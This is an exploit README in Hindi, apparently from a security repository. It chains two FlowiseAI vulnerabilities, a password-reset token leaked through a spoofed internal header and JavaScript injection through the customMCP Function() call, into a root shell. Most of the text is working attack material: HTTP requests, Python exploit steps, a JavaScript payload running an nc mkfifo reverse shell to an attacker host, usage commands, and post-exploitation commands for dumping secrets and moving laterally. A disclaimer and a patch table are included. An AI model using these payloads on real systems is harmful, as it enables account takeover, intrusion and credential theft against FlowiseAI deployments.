
क्रिटिकल अनप्रमाणित हमला श्रृंखला जो FlowiseAI में पूर्ण RCE की ओर ले जाती है (CVE-2025-58434 + CVE-2025-59528)
FlowiseAI
<= 3.0.5के विरुद्ध अप्रमाणित खाता अधिग्रहण को रिमोट कोड निष्पादन के साथ जोड़ा गया। 5 सेकंड से कम में पूर्ण कंटेनर समझौता, शून्य क्रेडेंशियल आवश्यक।
बाएँ: FlowiseAI लॉगिन पृष्ठ — दाएँ: CVE-2025-59528 के माध्यम से रूट शेल · uid=0(root)
यह एक्सप्लॉइट दो स्वतंत्र गंभीर कमजोरियों को एक एकल पूरी तरह से स्वचालित हमले में जोड़ता है। कोई भी कमजोरी अकेले पूर्ण समझौते की गारंटी नहीं देती — लेकिन एक साथ, वे शून्य क्रेडेंशियल से लेकर डॉकर कंटेनर के अंदर रूट शेल तक एक पूर्ण किल चेन बनाती हैं।
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
इसे शून्य-इंटरैक्शन क्या बनाता है: किसी भी बिंदु पर पीड़ित को ईमेल प्राप्त नहीं होता, लॉगिन अलर्ट नहीं दिखता, या कोई दृश्य घटना ट्रिगर नहीं होती। हमला पूरी तरह से सर्वर-साइड है।
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5 (क्लाउड + स्व-होस्टेड)
सलाहकार: GHSA-wgpv-6j63-x5ph
FlowiseAI में "आंतरिक" अनुरोधों की अवधारणा है — अपनी सेवाओं के बीच किए गए API कॉल — जिन्हें x-request-from: internal HTTP हेडर द्वारा पहचाना जाता है। /api/v1/account/forgot-password एंडपॉइंट इस हेडर का उपयोग प्रमाणीकरण को पूरी तरह से छोड़ने और बाहरी कॉल करने वालों की तुलना में एक अलग, अधिक विस्तृत प्रतिक्रिया देने के लिए करता है।
समस्या: इस हेडर को किसी भी तरह से मान्य या प्रतिबंधित नहीं किया गया है। इंटरनेट पर कोई भी हमलावर इसे भेज सकता है। जब वे ऐसा करते हैं, तो पासवर्ड रीसेट ईमेल ट्रिगर करने के बजाय, API पूर्ण उपयोगकर्ता रिकॉर्ड के साथ प्रतिक्रिया करता है — जिसमें एक लाइव tempToken शामिल है जिसका उपयोग तुरंत नया पासवर्ड सेट करने के लिए किया जा सकता है।
सामान्यतः, पासवर्ड रीसेट प्रवाह इस प्रकार दिखता है:
उपयोगकर्ता रीसेट का अनुरोध करता है → सर्वर टोकन उत्पन्न करता है → टोकन ईमेल द्वारा भेजा जाता है → उपयोगकर्ता लिंक पर क्लिक करता है → पासवर्ड बदल जाता है
यहाँ, सर्वर ईमेल चरण को पूरी तरह से छोड़ देता है और टोकन को सीधे HTTP प्रतिक्रिया निकाय में रखता है। हमलावर इसे पकड़ लेता है और सीधे रीसेट चरण पर चला जाता है — किसी ईमेल पहुंच की आवश्यकता नहीं है।
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — पूर्ण उपयोगकर्ता रिकॉर्ड उजागर{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
फिर tempToken को सीधे रीसेट एंडपॉइंट पर प्रस्तुत किया जाता है — कोई ईमेल इंटरैक्शन, कोई CAPTCHA, कोई दर सीमा नहीं।

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5
सलाहकार: GHSA-3gcm-f6qx-ff7p
FlowiseAI उपयोगकर्ताओं को JSON स्ट्रिंग के रूप में प्रदान की गई सर्वर कॉन्फ़िगरेशन के साथ कस्टम MCP (मॉडल संदर्भ प्रोटोकॉल) नोड्स को परिभाषित करने की अनुमति देता है। आंतरिक रूप से, प्लेटफ़ॉर्म को इस कॉन्फ़िगरेशन को पार्स करने की आवश्यकता होती है — और यह JavaScript के Function() कंस्ट्रक्टर का उपयोग करके ऐसा करता है, जो eval() के कार्यात्मक रूप से समतुल्य है।
कॉन्फ़िगरेशन स्ट्रिंग पूरी तरह से अशोधित सिंक तक पहुँचती है:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() eval() जितना खतरनाक क्यों हैFunction('return ' + code)() निम्नलिखित करता है:
code को इसके मुख्य भाग के रूप में एक नया JavaScript फ़ंक्शन बनाता हैयह हमलावर को process, require, child_process और संपूर्ण Node.js रनटाइम तक पहुंच के साथ एक पूर्ण JavaScript निष्पादन संदर्भ देता है — कोई सैंडबॉक्स नहीं।
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
mkfifoऔर/dev/tcpक्यों नहीं?
कंटेनर/bin/shचलाता है, न कि/bin/bash।/dev/tcpकेवल bash की विशेषता है — यह मानक POSIX शेल में मौजूद नहीं है।mkfifoएक नामित पाइप बनाता है जो किसी भी POSIX-अनुरूप शेल में काम करता है, जिससे रिवर्स शेल कंटेनर वातावरणों में पोर्टेबल हो जाता है।
एक्सप्लॉइट को चार क्रमिक चरणों में संरचित किया गया है, प्रत्येक सीधे किल चेन के एक चरण से मैप होता है।
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
क्या होता है: सर्वर मानता है कि यह x-request-from: internal हेडर के कारण एक आंतरिक सेवा-से-सेवा कॉल है। यह सामान्य ईमेल डिस्पैच पथ को छोड़ देता है और पूर्ण उपयोगकर्ता रिकॉर्ड — जिसमें एक लाइव पासवर्ड रीसेट टोकन शामिल है — सीधे HTTP 201 प्रतिक्रिया निकाय में लौटाता है।
यह क्यों काम करता है: हेडर जांच पूरी तरह से स्ट्रिंग-आधारित है जिसमें कोई क्रिप्टोग्राफिक सत्यापन नहीं है। कोई भी कॉल करने वाला इसे सेट कर सकता है। बैकएंड अनुरोध के मूल को मान्य नहीं करता।
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
क्या होता है: चुराया गया tempToken एक नए हमलावर-चयनित पासवर्ड के साथ प्रस्तुत किया जाता है। सर्वर टोकन को मान्य करता है (जो वास्तविक और सक्रिय है), ईमेल मिलान की पुष्टि करता है, और क्रेडेंशियल हैश को अपडेट करता है — कोई ईमेल पुष्टि, कोई द्वितीयक जांच नहीं।
यह क्यों काम करता है: टोकन सत्यापन केवल यह जांचता है कि टोकन मौजूद है और समाप्त नहीं हुआ है। यह सत्यापित नहीं करता कि टोकन उत्पन्न करने वाला कॉल करने वाला वही है जो रीसेट प्रस्तुत कर रहा है। स्वामित्व कभी सत्यापित नहीं होता।
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
क्या होता है: हमलावर के नए पासवर्ड के साथ एक सामान्य लॉगिन एक पूर्ण व्यवस्थापक सत्र (कुकी-आधारित) स्थापित करता है। फिर सत्र का उपयोग प्लेटफ़ॉर्म की डिफ़ॉल्ट API कुंजी प्राप्त करने के लिए किया जाता है, जो चरण 4 में उपयोग किए जाने वाले node-load-method एंडपॉइंट पर अनुरोधों को प्रमाणित करने के लिए आवश्यक है।
यह क्यों काम करता है: इस बिंदु पर हमलावर व्यवस्थापक है — वे क्रेडेंशियल के मालिक हैं। सत्र और API कुंजी सर्वर द्वारा वैध रूप से जारी की जाती हैं।
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
क्या होता है: पेलोड एक स्व-आह्वान करने वाला JavaScript फ़ंक्शन (IIFE) है जो JSON-संगत ऑब्जेक्ट के रूप में प्रच्छन्न है। जब convertToValidJSONString() इसे संसाधित करता है, तो मान Function('return ' + input)() के अंदर उतरता है — जो इसे पूर्ण Node.js रनटाइम एक्सेस के साथ लाइव JavaScript के रूप में निष्पादित करता है। child_process.exec() रिवर्स शेल कमांड को फायर करता है, हमलावर के सुनने वाले के लिए एक कनेक्शन स्थापित करता है।
IIFE रैपर क्यों? Function('return ' + x) पैटर्न अपेक्षा करता है कि एक्सप्रेशन वापसी योग्य हो। दुर्भावनापूर्ण कोड को ({x: (function(){ ... })()}) में लपेटने से पूरा एक्सप्रेशन वैध JavaScript बन जाता है जो एक ऑब्जेक्ट का मूल्यांकन करता है — पार्सर को संतुष्ट करता है जबकि साइड इफेक्ट के रूप में पेलोड को निष्पादित करता है।
nohup + disown क्यों? HTTP अनुरोध में एक टाइमआउट होता है। प्रक्रिया को अलग किए बिना, अनुरोध के टाइमआउट होने पर शेल मर जाएगा। nohup + disown रिवर्स शेल को Node.js प्रक्रिया से अलग करता है, इसे स्वतंत्र रूप से जीवित रखता है।
# 1. Start your listener first
nc -lvnp 4444
# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
एक बार शेल गिरने के बाद, कंटेनर आमतौर पर रूट के रूप में चलता है जिसके पास पूर्ण FlowiseAI एप्लिकेशन वातावरण तक पहुंच होती है:
# Secrets and credentials
env # API keys, DB URIs, service credentials in environment vars
cat .env # FlowiseAI config file — database passwords, JWT secrets
# Application internals
ls /app/packages/ # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env
# Container context
cat /proc/1/cmdline # What process is PID 1 — confirms container environment
hostname # Container ID
cat /etc/hosts # Internal network map — other services reachable
# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
यह रिपॉजिटरी और सभी संबंधित कोड केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रकाशित किए गए हैं।
दोनों कमजोरियां सार्वजनिक रूप से प्रकट की गई हैं और FlowiseAI 3.0.6 के अनुसार पैच की गई हैं। उन प्रणालियों के विरुद्ध परीक्षण करना जिनके आप मालिक नहीं हैं या जिनका आकलन करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है, लागू कानून के तहत अवैध है — जिसमें कंप्यूटर फ्रॉड एंड अब्यूज एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट और EU NIS2 निर्देश शामिल हैं, लेकिन इन्हीं तक सीमित नहीं है।
लेखक इस सामग्री के दुरुपयोग से होने वाली किसी भी क्षति के लिए कोई देयता स्वीकार नहीं करते हैं।
0H4K3D · CVE टीम
| गुण | विवरण |
|---|
| शून्य क्रेडेंशियल आवश्यक | हमलावर के पास लक्ष्य IP के अलावा कुछ नहीं होता |
| शून्य पीड़ित इंटरैक्शन | कोई फ़िशिंग, कोई क्लिक, कोई सोशल इंजीनियरिंग नहीं |
| कोई दर सीमा नहीं | रीसेट एंडपॉइंट में कोई थ्रॉटलिंग नहीं — यदि आवश्यक हो तो ब्रूट-फोर्स करने योग्य |
| कोई CAPTCHA नहीं | रीसेट प्रवाह में कोई मानव सत्यापन नहीं |
| कोई ईमेल पुष्टि नहीं | पासवर्ड परिवर्तन तत्काल, मौन, अपरिवर्तनीय है |
| RCE में पूर्ण Node.js रनटाइम | child_process, फ़ाइल सिस्टम, नेटवर्क — कोई सैंडबॉक्स नहीं |
| डॉकर में रूट के रूप में चलता है | कंटेनर सामान्यतः रूट के रूप में लॉन्च किया जाता है, पूर्ण FS पहुंच |
| क्लाउड + स्व-होस्टेड को प्रभावित करता है | <= 3.0.5 की कोई भी तैनाती कमजोर है |
| फ्लैग | विवरण | आवश्यक |
|---|
-ip | लक्ष्य IP पता | ✅ |
-lhost | रिवर्स शेल कॉलबैक के लिए आपका IP | ✅ |
-lport | आपका सुनने वाला पोर्ट | ✅ |
--skipreset | CVE-2025-58434 (चरण 1 और 2) छोड़ें — यदि खाता पहले से समझौता किया गया है तो उपयोग करें | ❌ |
| सुधार | प्राथमिकता |
|---|
FlowiseAI ≥ 3.0.6 में अपग्रेड करें | 🔴 तत्काल |
रिवर्स प्रॉक्सी पर x-request-from: internal को ब्लॉक करें — इसे कभी भी इंटरनेट से नहीं आना चाहिए | 🔴 तत्काल |
/api/v1/account/* को केवल प्रमाणित सत्रों तक सीमित करें | 🔴 तत्काल |
mcpServerConfig को साफ़ करें — उपयोगकर्ता इनपुट को Function() या eval() में कभी न भेजें | 🔴 तत्काल |
| सभी पासवर्ड रीसेट एंडपॉइंट पर दर सीमा और CAPTCHA जोड़ें | 🔴 तत्काल |
| यदि सार्वजनिक एक्सपोज़र आवश्यक नहीं है तो FlowiseAI इंस्टेंस को इंटरनेट से अलग करें | 🟠 उच्च |
| कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाएं | 🟠 उच्च |
| पासवर्ड रीसेट और MCP एंडपॉइंट पर विसंगति का पता लगाना सक्षम करें | 🟡 मध्यम |
x-request-from स्वीकार करने वाले सभी एंडपॉइंट का ऑडिट करें और सत्यापित करें कि उन्हें बाहरी रूप से कॉल नहीं किया जा सकता | 🟡 मध्यम |